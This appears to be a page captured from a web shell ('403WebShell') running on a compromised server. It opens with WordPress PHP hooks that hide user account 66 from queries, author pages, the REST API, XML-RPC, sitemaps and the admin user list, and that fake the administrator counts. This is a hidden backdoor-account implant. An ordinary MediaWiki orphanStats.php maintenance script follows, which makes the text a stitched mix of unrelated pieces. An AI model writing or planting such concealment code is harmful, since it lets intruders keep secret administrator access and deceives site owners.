add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
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Current File : /var/www/html/wiki/maintenance/storage/orphanStats.php
<?php
/**
 * Show some statistics on the blob_orphans table, created with trackBlobs.php.
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along
 * with this program; if not, write to the Free Software Foundation, Inc.,
 * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
 * http://www.gnu.org/copyleft/gpl.html
 *
 * @file
 * @ingroup Maintenance ExternalStorage
 */

use MediaWiki\Maintenance\Maintenance;
use Wikimedia\Rdbms\IDatabase;

// @codeCoverageIgnoreStart
require_once __DIR__ . '/../Maintenance.php';
// @codeCoverageIgnoreEnd

/**
 * Maintenance script that shows some statistics on the blob_orphans table,
 * created with trackBlobs.php.
 *
 * @ingroup Maintenance ExternalStorage
 */
class OrphanStats extends Maintenance {
	public function __construct() {
		parent::__construct();
		$this->addDescription(
			"Show some statistics on the blob_orphans table, created with trackBlobs.php" );
	}

	protected function getExternalDB( int $db, string $cluster ): IDatabase {
		$lbFactory = $this->getServiceContainer()->getDBLoadBalancerFactory();
		$lb = $lbFactory->getExternalLB( $cluster );

		return $lb->getMaintenanceConnectionRef( $db );
	}

	public function execute() {
		if ( !$this->getDB( DB_PRIMARY )->tableExists( 'blob_orphans', __METHOD__ ) ) {
			$this->fatalError( "blob_orphans doesn't seem to exist, need to run trackBlobs.php first" );
		}
		$dbr = $this->getReplicaDB();
		$res = $dbr->newSelectQueryBuilder()
			->select( '*' )
			->from( 'blob_orphans' )
			->caller( __METHOD__ )->fetchResultSet();

		$num = 0;
		$totalSize = 0;
		$hashes = [];
		$maxSize = 0;

		foreach ( $res as $row ) {
			$extDB = $this->getExternalDB( DB_REPLICA, $row->bo_cluster );
			$blobRow = $extDB->newSelectQueryBuilder()
				->select( '*' )
				->from( 'blobs' )
				->where( [ 'blob_id' => $row->bo_blob_id ] )
				->caller( __METHOD__ )->fetchRow();

			$num++;
			$size = strlen( $blobRow->blob_text );
			$totalSize += $size;
			$hashes[sha1( $blobRow->blob_text )] = true;
			$maxSize = max( $size, $maxSize );
		}
		unset( $res );

		$this->output( "Number of orphans: $num\n" );
		if ( $num > 0 ) {
			$this->output( "Average size: " . round( $totalSize / $num, 0 ) . " bytes\n" .
				"Max size: $maxSize\n" .
				"Number of unique texts: " . count( $hashes ) . "\n" );
		}
	}
}

// @codeCoverageIgnoreStart
$maintClass = OrphanStats::class;
require_once RUN_MAINTENANCE_IF_MAIN;
// @codeCoverageIgnoreEnd

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